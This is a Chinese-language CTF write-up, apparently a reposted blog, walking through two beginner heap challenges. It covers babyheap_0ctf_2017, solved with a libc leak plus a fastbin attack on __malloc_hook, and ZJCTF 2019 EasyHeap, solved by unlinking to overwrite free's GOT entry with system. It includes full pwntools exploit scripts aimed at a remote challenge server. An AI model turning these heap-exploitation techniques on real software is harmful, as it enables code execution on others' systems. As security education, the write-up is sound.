buuctf (babyheap_0ctf_2017)([ZJCTF 2019]EasyHeap)初学堆的两道例题

先了解一下chunk的结构

struct chunk
{
    
    
    size_t prev_size;
    size_t size;//3位不算在size里面
    union
    {
    
    
        struct
        {
    
    
            chunk* fd;
            chunk* bk;
        };
        char userdata[0];
    }
}

size的低三位表示为:

这里会用到 PREV_INUSE(P): 表示前一个chunk是否为allocated。

P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。
非fastbin的chunk在free时会与物理相邻的空闲chunk合并。

babyheap_0ctf_2017

保护如下:
在这里插入图片描述
主程序内容

在这里插入图片描述
程序也是这种菜单堆题目
在这里插入图片描述

1.是申请堆块
在这里插入图片描述
最多申请15次并且会返回堆块的序号

2.修改堆块的内容,并且没有限制写入堆块的大小,因此此处存在堆溢出
在这里插入图片描述
3.释放堆块(指针都置零了,所以不存在uaf)
在这里插入图片描述
4.打印堆块内容
在这里插入图片描述
程序流程大概熟悉之后,就是对堆溢出的利用了。因为远程是Ubuntu16所以用patchelf修改一下,在本地Ubuntu20调试
利用思路
1.利用堆溢出,可以通过unsorted bin的机制,泄露出libc_base
2.利用fastbin attack修改malloc_hook为one_gadget

1.泄露libc_base:
这里利用堆溢出通过上面的堆块,溢出来修改下面的堆块的内容,所以先申请三个堆块,用第一个堆块修改第二个堆块的大小,使其第二块包含第三块堆块,那么第二块free之后(此时第三块也相当于free),大小大于0x80就会进入到unsorted bin(当此中只存放一个堆块的时候,fd和bk指针都会存储main_arena+88的地址)然后再把第二块申请回来,但是此时第三块还会在unsorted bin里存在并且fd和bk指针都存放main_arena+88的地址,此时再打印第三块的内容就会泄露出main_arena+88地址,然后计算libc_base和malloc_hook地址以及one_gadget地址
具体情况如下:

add(0x18)
add(0x68)#1
add(0x68)#2
add(0x18)#3

这是申请的四个堆块(第四块是为了让上面的堆块与top chunk分开)
在这里插入图片描述
这是通过堆溢出修改第二块的大小(第二块包含了第三块)

pay=b'a'*0x18+p64(0xe1)
fill(0,0x20,pay)

在这里插入图片描述
这是此时第二块堆块的内容
在这里插入图片描述
这是free第二块之后

free(1)

在这里插入图片描述
在这里插入图片描述
这是申请回第二块堆块

add(0x68)#1

在这里插入图片描述
此时第三块我们并没有对它进行free,所以我们可以打印它,泄露出libc地址
这是打印第三块

dump(2)

泄露出libc地址
在这里插入图片描述
这是泄露出的地址
在这里插入图片描述
这是malloc_hook地址
在这里插入图片描述
计算一下就能得出malloc_hook地址

2.通过fastbin attack攻击,修改malloc_hook地址为one_gadget
原理参考其他博主的文章第一个
第二个
由于我们的第三块在unsorted bin里所以我们可以把它申请回来,并释放第三块(物理意义上的第三块,和刚申请回来的相当于同一块),那么我们就能通过修改第五块,来控制第二块
由于第二块其大小小于0x80所以会放到fastbin里,然后通过修改第五块来控制第二块的内容

add(0x68)#4  5=2
free(2)
pay=p64(malloc_hook-0x23)
fill(4,0x8,pay)

至于为什么要-0x23,是为了绕过检测
其内容如下:
在这里插入图片描述
这样的话我们再申请同样大小的堆块,就会把这个当成堆块给我们,允许我们输入,就能修改修改malloc_hook地址为one_gadget,达成攻击的目的

add(0x68)#2
add(0x68)#5
pay=b'a'*0x13+p64(one_gad) #这里需要计算一下偏移,让one_gad刚好覆盖malloc_hook地址
fill(5,len(pay),pay)
add(0x18)

这是修改之后的情况

在这里插入图片描述

修改成功
那么再申请一次执行malloc就会执行one_gad

完整exp如下:

from pwn import *
context(os='linux',arch='i386',log_level='debug')
p=remote("node4.buuoj.cn",28182)
#p=process("./pwn31")
elf=ELF("./pwn31")
libc=ELF("./libc-2.23.so")

def bug():
	gdb.attach(p)
	pause()

def add(i):
	p.recvuntil("Command: ")
	p.sendline(str(1))
	p.sendlineafter("Size: ",str(i))

def fill(idx,i,c):
	p.recvuntil("Command: ")
	p.sendline(str(2))
	p.sendlineafter("Index: ",str(idx))
	p.sendlineafter("Size: ",str(i))
	p.sendafter("Content: ",c)

def free(i):
	p.recvuntil("Command: ")
	p.sendline(str(3))
	p.sendlineafter("Index: ",str(i))

def dump(i):
	p.recvuntil("Command: ")
	p.sendline(str(4))
	p.sendlineafter("Index: ",str(i))
	
add(0x18)
add(0x68)#1
add(0x68)#2
add(0x18)#3
bug()
pay=b'a'*0x18+p64(0xe1)
fill(0,0x20,pay)
free(1)
add(0x68)#1
dump(2)

malloc_hook=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-88-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
one_gad=libc_base+0x4526a
print(hex(libc_base))
print(hex(malloc_hook))


add(0x68)#4  5=2
free(2)
pay=p64(malloc_hook-0x23)
fill(4,0x8,pay)
add(0x68)#2
add(0x68)#5
pay=b'a'*0x13+p64(one_gad)
fill(5,len(pay),pay)
add(0x18)
p.sendline(b"cat flag")

p.interactive()

在这里插入图片描述

[ZJCTF 2019]EasyHeap

也是菜单
在这里插入图片描述
保护如下:
在这里插入图片描述
1.申请堆块最多申请10次
在这里插入图片描述
申请的堆块指针也会存放在bss段上
在这里插入图片描述
2.编辑堆块
在这里插入图片描述

此处并未检查申请堆块的大小,允许我们任意输入大小,所以此处存在堆溢出

3.释放堆块
在这里插入图片描述
free之后指针被置零了,所以不存在uaf漏洞

利用思路:
这个题目虽然和上一道题一样存在堆溢出漏洞,但是这道题没有dump函数打印堆块内容,根据保护可知,got表可写,而且没开启pie保护,所以思路就是用unlink修改free或者malloc函数的got表地址为后门函数地址但是这个并不能获取flag,所以选择将其修改为system函数的地址(下面选择的是修改free的got表地址,因为选择malloc的话,可能会修改掉其他的got表项导致程序报错,所以下面选择free函数的got表项)

在这里插入图片描述
在这里插入图片描述
unlink原理在ctfwiki
理解原理之后就是实际操作了
第一步先申请三个堆块

add(0x90,b"aaa")#0
add(0x90,b"aaa")#1
add(0x20,b"/bin/sh\x00")#2

chunk2的目的是为了free(2)的时候就相当于执行system(“/bin/sh”)了

伪造假的堆块并且使chunk1向前合并完成unlink攻击把堆块的指针修改为heaparray_addr-0x18

fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
free(1)

在这里插入图片描述

-0x18和-0x10是固定的
这样再编辑chunk0的时候就相当于从0x6020c8(heaparray_addr-0x18)处开始写入了
把heaparray_addr处修改成free_got地址,那么再次编辑chunk0的时候就想当于编辑free_got地址了

payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(0x400C27))

在这里插入图片描述在这里插入图片描述

发现后门函数不可用
在这里插入图片描述
那么把后门函数地址改为system的plt
在这里插入图片描述
总exp如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote("node4.buuoj.cn",27488)
#p=process("./easyheap")
elf=ELF("./easyheap")
libc=ELF("./libc-2.23.so")

def bug():
	gdb.attach(p)
	pause()

def add(i,c):
	p.recvuntil("Your choice :")
	p.sendline(str(1))
	p.sendlineafter("Size of Heap : ",str(i))
	p.sendafter("Content of heap:",c)

def edit(idx,i,c):
	p.recvuntil("Your choice :")
	p.sendline(str(2))
	p.sendlineafter("Index :",str(idx))
	p.sendlineafter("Size of Heap : ",str(i))
	p.sendafter("Content of heap : ",c)

def free(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.sendlineafter("Index :",str(i))

def dump(i):
	p.recvuntil("Your choice :")
	p.sendline(str(4))
	p.sendlineafter("Index : ",str(i))
	
heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']

#attack
add(0x90,b"aaa")#0
add(0x90,b"aaa")#1
add(0x20,b"/bin/sh\x00")#2
#bug()

fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
free(1)
#bug()
payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(system_plt))
free(2)
p.sendline(b'cat flag')

p.interactive()

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/129885716